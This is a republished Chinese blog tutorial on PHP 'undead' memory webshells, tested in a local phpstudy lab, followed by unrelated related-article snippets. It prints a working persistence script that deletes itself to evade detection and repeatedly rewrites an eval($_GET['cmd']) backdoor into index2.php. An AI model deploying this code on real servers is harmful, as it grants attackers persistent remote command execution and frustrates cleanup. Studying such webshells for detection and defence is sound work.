【PHP系列】内存马(一)不死马

news/2024/9/21 10:54:46/文章来源:https://www.cnblogs.com/o-O-oO/p/18335242

实验环境工具

phpstudy

一、内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码

二、不死马剖析

test.php:

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_GET["cmd"]);?>';file_put_contents("index2.php", $content);usleep(10000);}   
?>
    set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)file_put_contents函数:将一个字符串写入该文件中usleep函数:延迟执行当前脚本数微秒,即条件竞争

1.1 unlink(FILE)

在PHP中,unlink(__FILE__) 是一个用于删除当前文件的函数调用。
__FILE__是一个常量,存储了当前文件的绝对路径和文件名。
当执行 unlink(__FILE__) 时,它会尝试删除包含这个代码的文件。
换句话说,它会删除当前正在执行的 PHP 文件。

这个函数的作用类似于在操作系统中手动删除一个文件。

需要特别注意的是,执行 unlink(FILE) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。

相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

三、执行内存马

访问内存马地址(这里我是在本地的8080端口开放的服务) ”http://localhost/test.php“,发现页面开始加载。

访问内存马释放的后门文件index2.php并执行phpinfo函数发现执行成功,原有的后门文件已经被删除

index2.php

​<?php
echo  "hello,world"
?>

最终index2.php变成了这样:

不出意外的话,网络管理员小李发现了这一异常,拿出360杀软一顿酷酷检查,最终发现了木马,一键查杀,就在感慨岁月静好的时候,发现木马一闪一闪亮晶晶,怀疑自己是不是吃了啥菌,出现幻觉了,这就是正宗的,如假包换的,地地道道的内存马,根本轻易杀不死。

那怎么办呢,小李这时候想着怎么水报告呢,根本无从下手,就搜了一下,经过一顿翻阅,发现可以重启主机,可以解决内存马的问题。

等等,我们都忘记了远在网络另一头的hack,那么接下来跟随我的视角,给大家报道一下hack的情况吧。

hack那边也是断断续续的,一会可以访问,一会不可以访问的。

好了,今天的内容就水完了。

我们明天见

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/775733.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[米联客-安路飞龙DR1-FPSOC] FPGA基础篇连载-21 VTC视频时序控制器设计

软件版本:Anlogic -TD5.9.1-DR1_ES1.1 操作系统:WIN10 64bit 硬件平台:适用安路(Anlogic)FPGA 实验平台:米联客-MLK-L1-CZ06-DR1M90G开发板 板卡获取平台:https://milianke.tmall.com/ 登录"米联客"FPGA社区 http://www.uisrc.com 视频课程、答疑解惑! 1概述Vi…

【视频讲解】Python用LSTM、Wavenet神经网络、LightGBM预测股价

原文链接:https://tecdat.cn/?p=37184 原文出处:拓端数据部落公众号 分析师:Yuyan Ye 在金融科技的浪潮中,量化投资方法以其数据驱动和模型导向的特性,日益成为资本市场分析的重要工具。特别是,长短期记忆网络(LSTM)、Wavenet以及LightGBM等先进的机器学习算法,因其…

easyFrida指南

easyFrida使用python运行 python easyFrida.py -h usage: easyFrida.py [-h] [-R] [-S S] [-f F | -p P] [--className CLASSNAME] [--plugin PLUGIN] [-l]_____ _ ____ __ _ ___ _ _| ___| __(_) __| | __ _/ _ \/ _` / __| | | | |_ | __| |/ _` |/ _` || __/ (…

生物相容性相关知识

生物相容性常规五项是指哪五项? 编辑于 2024-06-21 10:51 发布于:广东省一、生物相容性常规三项检测是指细胞毒性试验、致敏试验、刺激试验生物相容性。常规五项检测是指细胞毒性试验、致敏试验、刺激试验、全身毒性试验、热原试验。 1.细胞毒性试验是评估生物材料对细胞生…

Camstar Grid中B列的值來自A列選擇后觸發查詢得到 (代碼)

1.先給VP中的Grid綁定行選擇事件 2.拿到A列選擇的數據,在將數據進行SQL執行,將查詢得到的結果賦值給B列

『模拟赛』暑假集训CSP提高模拟12

『模拟赛记录』暑假集训CSP提高模拟12Rank 正常偏下发挥吧。A. 黑客 签到题。 题目中的关键点是只有 \(x\) 和 \(y\) 的和在区间 \(\left[0,999\right]\) 内才合法,因此我们只枚举和在这个范围内的两个值,寻找约分前的值即可,复杂度为 \(\mathcal{O(999^2)}\)。点击查看代码…

国外远程控制软件排行榜

在全球化和数字化时代,远程控制软件已成为企业和个人用户日常工作的重要工具。无论是为了远程协助、在线教育,还是跨国公司的远程办公需求,选择一款合适的远程控制软件至关重要。本文将详细介绍和对比几款全球范围内知名且在中国使用效果较好的远程控制软件:TeamViewer、Sp…

BUUCTF [GXYCTF2019]simple CPP

buu上的一道z3题,记录一下z3奇怪的用法。 首先扔进ida,打开主函数,非常混乱的算法,大概发现两个关键点:这里应该是对flag进行异或得到v6而这里的比较应该就是求解flag的关键,可以看出来有四个未知数,求解也是非常简单,z3直接求解即可: from z3 import * x, y, z, w…

使用 `useServerSeoMeta` 优化您的网站 SEO

title: 使用 useServerSeoMeta 优化您的网站 SEO date: 2024/7/31 updated: 2024/7/31 author: cmdragon excerpt: 摘要:本文介绍了Nuxt3框架中的useServerSeoMeta函数,它用于服务器端渲染(SSR)中设置SEO元标签,以优化性能和搜索引擎排名。内容包括其基本用法、详细示例及…

即构场景化SDK UIKits,互动应用开发周期缩短 75%

随着泛娱乐社交行业的日益成熟,创业者在探索新场景并将其产品化的过程中,面临着可利用的时间窗口正在急剧收窄的挑战。因此产品能否迅速迭代和高效上线,成为衡量企业创新效率的核心标准。 即构科技作为行业领先的实时互动音视频云服务商,通过提供场景化 SDK UIKits,助力企…

Paper Reading: Cost-sensitive deep forest for price prediction

针对价格预测问题的特点,本文提出了一种代价敏感的深度森林价格预测方法 CSDF。通过代价敏感方案对远离真实价格类别的错误分类施加更高的成本,期望降低错误分类的成本并将其推向真实价格范围。此外为了进一步提高整体性能,通过修改传统的 K-means 方法,开发了一种改进的 K…

EtherCAT从站重启及状态检测

VAR nSlaveState:ETC_SLAVE_STATE;pSlave:POINTER TO ETCSlave; END_VAR(* 示例1 :检查单个从站状态 *) InoSV630N(xSetOperational:= TRUE, wState=> nSlaveState);(* 示例2 :检查所有从站的链表 *) pSlave:=EtherCAT.FirstSlave; WHILE pSlave<>0 DOpSlave^(…